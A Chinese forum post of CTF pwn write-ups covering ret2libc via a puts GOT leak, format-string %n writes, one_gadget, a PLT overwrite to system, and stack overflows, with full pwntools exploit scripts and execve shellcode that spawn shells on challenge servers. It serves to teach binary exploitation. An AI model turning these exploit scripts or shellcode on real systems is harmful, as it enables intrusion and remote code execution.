电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 301 人浏览分享

PWN的一些trick

[复制链接]
301 0
最近刷了一些pwn题,攻防世界 、蓝帽杯等等,发现提升CTF的最快方法还是刷题,刷题,刷题。此篇文章涉
及到的知识点:64位rop解体流程、格式化字符串的基本原理和一些利用方式以及如何改写plt。

0x0:pwn-100

64位程序

QQ截图20211224143115.png

发现前两个函数标准输入输出,然后我们来看一下第三个函数 发现里面又套了一层函数

QQ截图20211224143201.png

3221.png

栈空间大小为40 我们可以把这个sub_40063D函数当成read函数

这个的意思就是

200.png

199.png

198.png

196.png

修改edi的目的达成 直接call put的指令的意思就是打印
put的plt地址意味着调用put函put函数的参数存放再rdi中 rdi此时是got[put]
打印got表put函数的地址

193.png


from pwn import *
from LibcSearcher import LibcSearcher
#导入libcsearcher来搜索此执行程序使用的哪个got表
#一种got表对应一种libsearcher
context.log_level  =  'debug'
io = process('./6')
io = remote('111.200.241.244',57644)
elf = ELF('./6')
payload = b'b'*0x48+p64(0x0000000000400763)+p64(elf.got['puts'])+p64(elf.p
lt['puts'])+p64(0x00000000004006B8)
#分析一下这个payload,首先栈溢出,然后加上pop rdi 的地址,在接上got表中的puts
plt是运行puts函数,最后再接上main函数地址
#got表中的puts是一串地址
io.sendline(payload.ljust(200,b'b'))
#题目中写明了for循环必须要200字符串
#print(io.recv())
io.recvuntil('\n')
got_put_addr =  u64(io.recv().split(b'\n')[0].ljust(8,b'\x00'))
print(got_put_addr)
#利用got表中的puts函数算出got表中其他函数的相对偏移
libc_obj = LibcSearcher('puts', got_put_addr)
libc_base_addr = got_put_addr - libc_obj.dump('puts')
system_addr = libc_base_addr + libc_obj.dump("system")
str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh')
payloads = b'b'*0x48+p64(0x0000000000400763)+p64(str_bin_sh)+p64(system_addr)
io.sendline(payloads)
io.interactive()
#p64(0x0000000000400763) =rdi

192.png

p64(0x0000000000400763)+p64(elf.got['puts']) 把got表中的puts传送给rdi

0x1:lanmao分区pwn

首先checksec一下,发现保护全开

191.png

然后我们用ida打开

190.png

我们在这里发现了一个格式化字符串漏洞

用one_gadget查看glibc自带的后门函数地址

189.png

这道题的思路:
首先我们利用print函数来算出野指针到s的地址然后算出s到ret的地址,加和算出一共的%p
我们把ret函数返回到one_gadget泄露got表的后门地址

0x2:格式化字符串进阶

188.png

第一个函数

186.png

第二个函数

183.png

print(format)的作用就是格式化字符串,使得v4 = v3

第三个函数

182.png

流程:

181.png

180.png

169.png

%85c%7p$n

168.png

这里算出来是8,指的是v3的地址 但是我们要在v2中写入东西 所以要减去偏移
输入up,east,1跳过第一个函数 进入第二个函数
下面我们进行exp的编写:

166.png

shellcode写在这里
64位的shellcode:
"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53
\x54\x5f\x52\x57\x54\x5e\x0f\x05"

from pwn import *
context.log_level = 'debug'
io = remote('111.200.241.244',53443)
io.recvuntil('is')
a=io.recvuntil('\n')[:-1]
b=int(a,16)
print(a)
print(b)
io.sendlineafter('What should your character\'s name be:','1')
io.sendlineafter('So, where you will go?east or up?:','east')
io.sendlineafter('go into there(1), or leave(0)?:','1')
io.sendlineafter('Give me an address',str(b))
#p64()格式是写入内存,机器码识别,但是此题是写入栈中的变量中,直接字符串格式就行(也就是v2)
#我是猪!,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
io.sendline('%85c%7$n')
io.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\
x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")
io.interactive()

162.png

0x3:格式化字符串入门 CGfsb  %n

格式化字符串漏洞入门利用%n

161.png

160.png

129.png

算出第10个偏移是野指针的地址

128.png

这里进行验证,确实是第十个,

接下来写exp

from pwn import *
context.log_level = 'debug'
io = remote('111.200.241.244',55751)
io.sendline('de')
payload = p32(0x0804A068)+b'我是猪!'+b'%10$n'
io.sendline(payload)
io.interactive()
#我是猪!.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p

payload = p32(0x0804A068)+b'我是猪!'+b'%10$n'

payload格式是这个,前面是要修改的地址,用字符补全 再用%10$n打进去

126.png

0x4:cover蓝帽杯半决赛1 改写plt

首先checksec一下 发现是32位程序 No PIE

122.png

121.png

100.png

99.png


from pwn import *
sh=process('cover')
sh.recvuntil('\n')
sh.send(p32(0x80484d0+2)+b'\x24')
#此题的关键就是在这里,0x80484d0是plt中puts函数的地址+2就是关键所在
#然后直接改成x24就是改成了system,然后在接上一个/bin/sh
sh.sendline('/bin/sh')
sh.interactive()

98.png

96.png

0x5:栈溢出反应釜开关控制

首先checksec 一下

22.png

21.png

解题思路:

套了三层循环 每进入一层循环需要输入地址 我们只能一边调一边进入

20.png

进入第一个函数的地址

from pwn import *
context.log_level = 'debug'
#io  = process('10')
io = remote('111.200.241.244',56649)
payload1= b'a'*(0x100+0x8)+p64(0x4005f6)
payload2= b'a'*(0x180+0x8)+p64(0x400607)
payload3= b'a'*(0x200+0x8)+p64(0x00000000004006B0)
io.sendlineafter('>',payload3)
io.recv()

进入第二个函数的地址

19.png

第三次的地址

18.png

最终exp:

from pwn import *
context.log_level = 'debug'
#io  = process('10')
io = remote('111.200.241.244',56649)
payload1= b'a'*(0x100+0x8)+p64(0x4005f6)
payload2= b'a'*(0x180+0x8)+p64(0x400607)
payload3= b'a'*(0x200+0x8)+p64(0x00000000004006B0)
io.sendlineafter('>',payload3)
io.recv()
#io.sendline('a')
io.sendline(payload2)
#io.recv()
io.sendline(payload1)
#io.recv()
io.interactive()

17.png

0x6:小结

pwn的解题对选手的内存 C语言 汇编语言底层功底要求很高 在学习过程中一定不用求快
需要扎实的学习。这样才能更快的解题。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.